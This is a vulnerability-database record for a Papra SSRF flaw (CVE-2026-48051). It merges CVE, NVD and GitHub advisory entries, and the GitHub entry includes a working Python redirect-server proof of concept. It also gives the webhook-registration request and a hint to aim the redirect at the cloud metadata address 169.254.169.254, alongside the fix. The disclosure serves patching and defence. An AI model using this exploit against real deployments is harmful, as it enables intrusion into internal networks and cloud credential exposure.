{"id":"GHSA-5g86-85rp-f9hx","revision":null,"records":[{"revision":"b49c350208a44381b9d19f696aa4dd07","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-48051","aliases":[],"title":"Papra: SSRF via HTTP redirect bypass in webhook delivery","description":"Papra is a minimalistic document management and archiving platform. Prior to version 26.5.0, Papra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses — loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (ofetch) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client. This issue has been patched in version 26.5.0.","state":0,"publishedAt":"2026-07-27T17:59:39.206+00:00","modifiedAt":"2026-07-28T14:54:23.072+00:00","affected":[{"ecosystem":"Vendor product","name":"papra","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"papra-hq\",\n                    \"product\": \"papra\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 26.5.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N","score":3.5,"severity":"LOW"}],"references":["https://github.com/papra-hq/papra/security/advisories/GHSA-5g86-85rp-f9hx"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48051","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-48051","identifiers":["CVE-2026-48051"]},"retained":false,"historicalAffected":[]},{"revision":"c7c79c7286a74752b0a8d7de0b91e0d7","observedAt":"2026-10-25T12:17:26.301+00:00","statement":{"source":"nvd","id":"CVE-2026-48051","aliases":[],"title":"Papra is a minimalistic document management and archiving platform. Prior to version 26.5.0, Papra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HT…","description":"Papra is a minimalistic document management and archiving platform. Prior to version 26.5.0, Papra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses — loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (ofetch) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client. This issue has been patched in version 26.5.0.","state":0,"publishedAt":"2026-07-27T18:16:55.633+00:00","modifiedAt":"2026-10-24T13:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N","score":3.5,"severity":"LOW"}],"references":["https://github.com/papra-hq/papra/security/advisories/GHSA-5g86-85rp-f9hx"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48051","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-07-27T18:16:55.633","lastModified":"2026-10-24T13:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-48051","identifiers":["CVE-2026-48051"]},"retained":false,"historicalAffected":[]},{"revision":"16e6d58506ca451aae25aa9d3e05f362","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-5g86-85rp-f9hx","aliases":["CVE-2026-48051"],"title":"Papra HTTP redirect bypass can lead to SSRF via webhook delivery system","description":"### Summary\n\nPapra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses — loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (`ofetch`) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client.\n\n### Details\n\n**The vulnerable call**\n\nThe webhook HTTP client in `packages/webhooks/src/webhooks.services.ts` (lines 16–19) calls `ofetch.raw()` without specifying a `redirect` option:\n\n```typescript\nconst response = await ofetch.raw<unknown>(url, {\n  ...options,\n  ignoreResponseError: true,\n  // no `redirect` option — defaults to 'follow' per Fetch API spec\n});\n```\n\n`ofetch` is a thin wrapper around the WHATWG Fetch API. The Fetch specification defines three redirect modes — `follow`, `error`, and `manual` — and sets `follow` as the default. In `follow` mode, the HTTP implementation resolves the redirect chain internally and returns only the final response; application code receives the terminal response with no indication that any redirects occurred. `ofetch` 1.4.1 does not set a `redirect` option in its internal `fetch()` call, so the default applies. The `ignoreResponseError: true` option only suppresses exceptions on non-2xx responses; it has no effect on redirect handling.\n\n**How the bypass works**\n\nThe SSRF protection runs at two points: registration time (`checkWebhookUrlIsSsrfSafe`, `webhooks.usecases.ts:34`) and delivery time (`filterOutSsrfUnsafeWebhooks`, `webhooks.usecases.ts:124`). Both checks work the same way:\n\n```typescript\n// apps/papra-server/src/modules/shared/ssrf/ssrf.services.ts, lines 20-27\nconst hostname = getUrlHostname(url);\nreturn isHostnameSsrfSafe({ hostname, allowedHostnames, dnsLookup, logger });\n// Resolves hostname → checks all resulting IPs against the blocklist\n// Blocklist covers: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16,\n//                   169.254.0.0/16, ::1, and other reserved ranges\n```\n\nBoth checks operate on `url` — the registered webhook URL, a public hostname that resolves to a public IP and passes the blocklist. Neither check has any visibility into where the HTTP client will end up after following a redirect. The `Location` header in a 3xx response is never extracted, never DNS-resolved, and never compared against the blocklist. By the time the redirect target is known to the Fetch implementation, the request has already been made.\n\nThe developer cannot observe this gap. The Fetch API gives no opportunity to inspect the redirect target before following it.\n\n**Evidence**\n\nAttacker's redirect server receives the POST and returns 302:\n\n```\n[2026-05-08T15:55:38.388647] POST /redirect\n  User-Agent: papra-webhook-client    ← set only in webhooks.services.ts:47\n  X-Forwarded-For: <REDACTED>\n\"POST /redirect HTTP/1.1\" 302 -\n```\n\nPapra's inbound request log immediately after — this is the server logging a request arriving at itself:\n\n```\n{\"message\":\"Request completed\",\"timestampMs\":1778255738420,\n \"data\":{\"status\":200,\"method\":\"GET\",\"path\":\"/api/health\",\n         \"userAgent\":\"papra-webhook-client\"}}   ← outbound UA on an inbound request\n```\n\n`papra-webhook-client` is set exclusively by the outbound webhook delivery code (`webhooks.services.ts:47`). Its presence on an inbound log entry is only possible if Papra's own HTTP client followed the 302 and made a request to the loopback. The delivery record confirms the internal endpoint responded HTTP 200:\n\n```\n{\"message\":\"Webhook triggered\",\"timestampMs\":1778255738422,\n \"data\":{\"responseStatus\":200,\"webhookId\":\"wbh_s6t1xzezbzbivyhptcs7qxhk\"}}\n```\n\n### PoC\n\n1. Start `redirect_server.py` on a publicly reachable server (ngrok free tier is sufficient). The example below uses Papra's own health endpoint as the redirect target to demonstrate the bypass — in a cloud environment replace `REDIRECT_TARGET` with `http://169.254.169.254/latest/meta-data/` or any internal address.\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom socketserver import ThreadingMixIn\nimport datetime\n\nREDIRECT_TARGET = \"http://127.0.0.1:1221/api/health\"  # replace with desired internal target\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        content_len = int(self.headers.get(\"Content-Length\", 0))\n        body = self.rfile.read(content_len)\n        print(f\"[{datetime.datetime.now(datetime.timezone.utc).isoformat()}] POST {self.path}\")\n        print(f\"  User-Agent: {self.headers.get('User-Agent')}\")\n        print(f\"  Body: {body[:200]}\")\n        self.send_response(302)\n        self.send_header(\"Location\", REDIRECT_TARGET)\n        self.end_headers()\n\nclass ThreadedHTTPServer(ThreadingMixIn, HTTPServer):\n    pass\n\nif __name__ == \"__main__\":\n    server = ThreadedHTTPServer((\"0.0.0.0\", 9999), RedirectHandler)\n    print(\"Redirect server running on port 9999\")\n    server.serve_forever()\n```\n\n> `ThreadingMixIn` is required — Papra immediately opens a second connection to the same port when following the redirect; a single-threaded server deadlocks.\n\n2. Register a webhook pointing to the redirect server:\n   ```\n   POST /api/organizations/{orgId}/webhooks\n   {\"name\":\"ssrf-test\",\"url\":\"https://{ngrok-url}/redirect\",\"events\":[\"document:created\"]}\n   ```\n3. Upload any document to the organisation to fire a `document:created` event.\n4. Confirm on the Papra server logs that `/api/health` received a GET request with `User-Agent: papra-webhook-client`.\n\n### Impact\n\n- Any authenticated org member (no admin role required) can trigger the exploit.\n- The Papra server makes HTTP requests to internal addresses blocked by its own SSRF list: `127.0.0.0/8`, `169.254.0.0/16`, RFC-1918 ranges.\n- **This is blind SSRF** — internal response bodies are written to `webhook_deliveries` but no API route exposes delivery records. Response content is not accessible to the attacker through the Papra API.\n- Internal network topology can be partially inferred from whether requests succeed or fail (closed port produces a network error; open port returns an HTTP response).\n- HTTP 307 redirects preserve the POST method and body, enabling state-changing requests to internal services that accept unauthenticated POSTs.\n- On cloud deployments (AWS, GCP, Azure), the instance metadata service at `169.254.169.254` is reachable by the same technique. Cloud IMDS was not tested in this PoC (local Docker environment, no metadata service present). Response exfiltration via the Papra API remains unavailable regardless.\n\n**Suggested Fix**\n\nAdd `redirect: 'manual'` to the `ofetch.raw()` call in `packages/webhooks/src/webhooks.services.ts` (line 16) and treat any 3xx response as a delivery failure. Webhook endpoints have no legitimate reason to redirect:\n\n```typescript\nconst response = await ofetch.raw<unknown>(url, {\n  ...options,\n  redirect: 'manual',       // do not follow redirects\n  ignoreResponseError: true,\n});\n```\n\nIf redirect-following is ever required in the future, validate the `Location` header through the existing `isUrlSsrfSafe()` check before re-issuing the request.","state":0,"publishedAt":"2026-06-10T13:39:10+00:00","modifiedAt":"2026-09-10T03:51:07.8136913+00:00","affected":[{"ecosystem":"npm","name":"@papra/webhooks","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.3.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/papra-hq/papra/security/advisories/GHSA-5g86-85rp-f9hx","https://github.com/papra-hq/papra/commit/086dccbfda18c850bee50b94c48f5f110be6935c","https://github.com/papra-hq/papra"],"sourceUrl":"https://github.com/advisories/GHSA-5g86-85rp-f9hx","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5g86-85rp-f9hx","identifiers":["GHSA-5g86-85rp-f9hx","CVE-2026-48051"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T04:27:03.6143795+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T04:27:03.6143795+00:00","lastSuccessAt":"2026-10-26T04:27:03.7611463+00:00","error":null,"lastVerifiedAt":"2026-10-26T04:27:03.7611505+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-76b12cd077cc0c9e2bec86f9db61ed033ac59990765bf961672b22adaee731fd","complete":true,"records":414065,"lastAttemptAt":"2026-10-26T04:25:23.5488077+00:00","lastSuccessAt":"2026-10-26T04:25:23.5320645+00:00","error":null,"lastVerifiedAt":"2026-10-26T04:25:23.5488077+00:00","snapshotPublishedAt":"2026-10-26T03:26:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T04:27:06.1792491+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T04:27:03.6143795+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T04:27:03.6143795+00:00","lastSuccessAt":"2026-10-26T04:27:03.7620288+00:00","error":null,"lastVerifiedAt":"2026-10-26T04:27:03.7620294+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-26T04:27:04.2408968+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T04:27:03.5693212+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T04:27:03.5693212+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T04:25:23.7228827+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T04:25:23.7228827+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-26T04:27:03.5827456+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-26T04:27:03.5827456+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-12a138fdfb27773e5b8ada86ae193569e7db1422ab10c363599e22affd3fa171","complete":true,"records":230801,"lastAttemptAt":"2026-10-26T04:27:03.4433456+00:00","lastSuccessAt":"2026-10-26T04:27:02.2613948+00:00","error":null,"lastVerifiedAt":"2026-10-26T04:27:03.4433456+00:00","snapshotPublishedAt":"2026-10-26T04:18:14+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}